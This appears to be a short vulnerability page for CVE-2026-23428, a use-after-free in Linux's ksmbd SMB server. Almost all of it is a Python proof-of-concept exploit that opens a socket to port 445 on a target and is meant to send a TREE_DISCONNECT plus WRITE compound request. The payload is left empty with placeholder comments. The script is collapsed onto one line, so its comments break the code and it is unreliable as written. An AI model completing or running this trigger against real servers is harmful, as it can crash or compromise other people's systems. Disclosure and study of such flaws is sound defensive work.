CVE-2026-23428: Linux内核ksmbd释放后重用漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-23428: ksmbd Use-After-Free This script demonstrates the logic to trigger the vulnerability by sending a compound request containing SMB2_TREE_DISCONNECT followed by SMB2_WRITE. """ import socket import struct def send_exploit(target_ip): """ Sends a malicious compound request to the target ksmbd server. """ # Setup socket connection to SMB port (445) try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, 445)) print(f"[+] Connected to {target_ip}:445") # Note: In a real scenario, full SMB negotiation and session setup # would be performed here. This PoC focuses on the payload structure. # Construct Compound Request: # 1. SMB2_TREE_DISCONNECT (Frees share_conf) # 2. SMB2_WRITE (Attempts to use freed share_conf) # The vulnerability occurs because the second command reuses the # work->tcon pointer without checking if it was disconnected by the first. payload = b"" # SMB2 Header for TREE_DISCONNECT # ... (Header bytes) ... # SMB2 Header for WRITE (Chained) # ... (Header bytes) ... s.send(payload) print("[+] Malicious compound request sent.") print("[+] Check target kernel logs for KASAN use-after-free detection.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with actual target IP TARGET = "192.168.1.10" send_exploit(TARGET)